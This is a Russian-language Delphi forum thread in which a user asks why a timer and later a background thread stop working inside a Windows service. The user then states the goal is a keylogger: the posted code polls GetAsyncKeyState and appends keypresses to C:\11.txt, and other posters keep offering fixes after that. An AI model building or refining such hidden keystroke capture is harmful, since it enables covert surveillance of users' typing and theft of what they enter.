Проблема с таймером в службе

[varelik]

Здравствуйте, помогите разобраться..

Начал писать службу, использовав ServiceApplication.
На ее "форму" поместил Timer.
В Onclick таймера выдаются сообщения при определенных действиях.

Проблема в том что таймер перестает функционировать после регистрации службы в системе, т.е.: пуск-выполнить-"путь к файлу" /install, появляется сообщение "служба установлена" - жму ОК и таймер глохнет.
До нажатия ОК-работает.


Посоветуйте или помогите кодом...

Делал так:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
  ExtCtrls;

type
  TService1 = class(TService)
    Timer1: TTimer;
    procedure Timer1Timer(Sender: TObject);
    procedure ServiceCreate(Sender: TObject);
    procedure ServiceExecute(Sender: TService);
    procedure ServiceStop(Sender: TService; var Stopped: Boolean);
    procedure ServiceStart(Sender: TService; var Started: Boolean);
    procedure ServicePause(Sender: TService; var Paused: Boolean);
    procedure ServiceContinue(Sender: TService; var Continued: Boolean);
  private
    { Private declarations }
  public
    function GetServiceController: TServiceController; override;
    { Public declarations }
  end;

var
  Service1: TService1;
  s:string; f1:textfile;

implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
  Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
  Result := ServiceController;
end;

procedure TService1.Timer1Timer(Sender: TObject);
begin

try

if getasynckeystate(57)<>0 then begin
 s:='9 ';
  AssignFile(f1,'C:\11.txt');
   append(f1);
  write(f1,s);
 closefile(f1);
end;

 except
 exit;
 end;

end;

procedure TService1.ServiceCreate(Sender: TObject);
begin
try
 if (not FileExists('C:\11.txt')) then  begin
   AssignFile(f1,'C:\11.txt');
    rewrite(f1);
   closefile(f1);
   end;
  except
 exit
end;
end;

procedure TService1.ServiceExecute(Sender: TService);
begin
while not terminated do
begin
servicethread.ProcessRequests(true);
end;
end;


procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
timer1.Enabled:=false;
stopped:=true;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
timer1.Interval:=2000;
 timer1.Enabled:=true;
started:=true;
end;


procedure TService1.ServicePause(Sender: TService; var Paused: Boolean);
begin
Paused:=true;
end;

procedure TService1.ServiceContinue(Sender: TService;
  var Continued: Boolean);
begin
Continued:=true;
end;

end.

[3D Hunter]

а кто будет принимать сообщение WM_TIMER? Служба? Не, она не умеет, ну нет у нее оконных элементов.
Решений два:
1 - корявое: создайте форму, подвяжите ее к службе, вызывайте конструктор и работайте на ней. Там же и таймер разместите.
2 - нормальное: создайте в конструкторе службы поток с бесконечным циклом, в котором через нужный вам интервал времени будет что-то делаться. Т.е. эмуляция таймера.

[varelik]

хорошо, делаю через поток, убрал таймер, подредактировал код,
не работает,
такое впечатление что tnewthread1.execute не срабатывает.
поправьте пожалуйста

...
  type tnewthread1=class(tthread)
  protected
   procedure execute;override;
  end;
...
var
  Service1: TService1;
  s:string; f1:textfile;
  d:integer;
  newthread1: tnewthread1;
...

procedure TService1.ServiceCreate(Sender: TObject);
begin
d:=0;
try
 if (not FileExists('C:\11.txt')) then  begin
   AssignFile(f1,'C:\11.txt');
    rewrite(f1);
   closefile(f1);
   end;
  except
 exit
end;
end;

procedure TService1.ServiceExecute(Sender: TService);
begin
newthread1.execute;
while not terminated do
begin
servicethread.ProcessRequests(true);
end;
end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
newthread1.Terminate;
stopped:=true;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
newthread1:=  tnewthread1.Create(true);
newthread1.Priority:=tpnormal;
newthread1.Resume;
started:=true;
end;

procedure TService1.ServicePause(Sender: TService; var Paused: Boolean);
begin
newthread1.Suspend;
Paused:=true;
end;

procedure TService1.ServiceContinue(Sender: TService;
  var Continued: Boolean);
begin
newthread1.Resume;
Continued:=true;
end;

procedure tnewthread1.execute;
begin
showmessage('poexali');
while d<>1 do begin
sleep(20);
  if getasynckeystate(57)<>0 then begin
 s:='9 ';
  AssignFile(f1,'C:\11.txt');
   append(f1);
  write(f1,s);
 closefile(f1);
end;
end;
end;

end.

[varelik]

указаный код заработал после установки свойства службы interactive=true, но насколько это правильно?

[3D Hunter]

Это что за код?! Практическая полезность его равна нулю.. не понятно, но поправлю.

procedure TService1.ServiceCreate(Sender: TObject);
begin
d:=0;
try
 if (not FileExists('C:\11.txt')) then  begin
   AssignFile(f1,'C:\11.txt');
    rewrite(f1);
   closefile(f1);
   end;
  except
 exit
end;
end;

Правильно так:

procedure TService1.ServiceCreate(Sender: TObject);
begin
  try
    AssignFile(f1,'C:\11.txt');
    if (not FileExists('C:\11.txt')) then rewrite(f1) else append(f1);
  finally
    closefile(f1);
  end;
end;

И бесконечный цикл можно сделать без переменной d:

procedure tnewthread1.execute;
begin
showmessage('poexali');
while true do begin
...

Свойство Interactive дает возможность обрабатывать сообщения от системы, ведь вызов ShowMessage() не просто так тебе штампует окошки со строчками)

[Человек_Борща]

На w7 интерактивности вообще нет.

Пишите мультимедийный класс таймера, что довольно легко(в своей теме как-то выкладывал свою реализацию таймера, именно для сервисов, ищите сами).

Сервис вырубается SCM(Service Control Manager), по-скольку ваш сервис не сообщает SCM свой статус каждые WaitHint.

[varelik]

3D Hunter, смысл в коде есть.
в таймере (либо в потоке) планировалось чтото типа клавиатурного шпиона сделать (с сохранением нажатых клавиш в c:\11.txt например). Решил просто попробовать реализовать как сервис.
В результате: если interactive=true, все работает и через таймер и через поток.
если interactive=false - ни потоки, ни таймеры не помогают.

всем спасибо за внимание!

[varelik]

Человек_Борща, про мультимедийный таймер посмотрю обязательно.

вопрос ко всем:
но если не использовать таймер вобще и делать через цикл в потоке (при interactive=false):
почему не работает?

[3D Hunter]

Читаем MSDN:

Although the least significant bit of the return value indicates whether the key has been pressed since the last query, due to the pre-emptive multitasking nature of Windows, another application can call GetAsyncKeyState and receive the "recently pressed" bit instead of your application. The behavior of the least significant bit of the return value is retained strictly for compatibility with 16-bit Windows applications (which are non-preemptive) and should not be relied upon.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx
И вообще данная функция проверяет статус клавиши по виртуальному коду - нажата или отжата.
И там не все так просто: побитовая проверка требуется:

If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState. However, you should not rely on this last behavior; for more information, see the Remarks.

[raxp]

Решений два:

allocatehwnd(), вот и окно.